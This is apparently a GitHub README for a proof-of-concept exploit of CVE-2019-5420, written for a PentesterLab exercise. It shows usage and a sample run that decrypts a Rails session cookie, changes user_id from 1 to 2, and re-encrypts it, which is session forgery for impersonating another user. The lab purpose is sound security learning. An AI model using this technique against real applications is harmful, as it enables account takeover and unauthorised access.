sealldeveloper/cve-2019-5420-pocA PoC of CVE-2019-5420 I made for PentesterLab
Wrote this for PentesterLab
If you are from PentesterLab's don't cheat, it's alot better to learn.
Hope it's useful to someone, if not to me in the future :)
Nice argparse stuff, not a bad PoC
usage: script.py [-h] --appname APPNAME --cookie COOKIE [--modify KEY VALUE]
CVE-2019-5420
options:
-h, --help show this help message and exit
--appname APPNAME Application name (e.g., PentesterLab)
--cookie COOKIE Encrypted cookie data
--modify KEY VALUE Key-value pairs to modify (can be specified multiple times)
$ python3 script.py --appname PentesterLab --cookie "e3utyeCe5u6G5Xr24kwHMUDRCzDUWjqoS%2BmiajdJfgEGYlLNaJ1MPM1RRPDHGxOVg16BZAhNr6gGVXRTQ6Ln0kw2zNjggqGhYrE7NhQcZkGEk8yDBgtIq8JENnLpUKEvcBXV4Qh6bWA%2BY9UJc%2BnNcYqVIcgDHVNkvYw%3D--lNYQlBUxql44nouw--rRDZMrhhG8hWyubkbsuqaQ%3D%3D" --modify user_id 2
Encrypted data (hex): 7b7badc9e09ee6ee86e57af6e24c073140d10b30d45a3aa84be9a26a37497e01066252cd689d4c3ccd5144f0c71b1395835e8164084dafa80655745343a2e7d24c36ccd8e082a1a162b13b36141c66418493cc83060b48abc2443672e950a12f7015d5e1087a6d603e63d50973e9cd718a9521c8031d5364bd8c
IV (hex): 94d610941531aa5e389e8bb0
Auth tag (hex): ad10d932b8611bc856cae6e46ecbaa69
Decrypted cookie: {'session_id': '1517c20565615fed2f52ed7c075aff56', '_csrf_token': '4iKA7dSVBcBClhJF3y1TpYrqBMRN4LDvvSGzjgOYyWI=', 'user_id': 1}
Modified cookie: {'session_id': '1517c20565615fed2f52ed7c075aff56', '_csrf_token': '4iKA7dSVBcBClhJF3y1TpYrqBMRN4LDvvSGzjgOYyWI=', 'user_id': 2}
New cookie: e3utyeCe5u6G5Xr24kwFIkTVDWSFWD%2BrSOqlbmRKf1dSMVWaac4Yb8pTEPfHSBCBjVD%2BJSRcuoUUZWtZRuWz0kJ/pa2%2BrbPARIEvNxs2b2vfoLvkD2Nuqtl7FX6QTqttSgLk7TFaWFMge8VNBozSJtXQceIZHAMB5ZUDFmW8mA%3D%3D--lNYQlBUxql44nouw--Kv3Gdq9ipuD682IqMtxPgA%3D%3D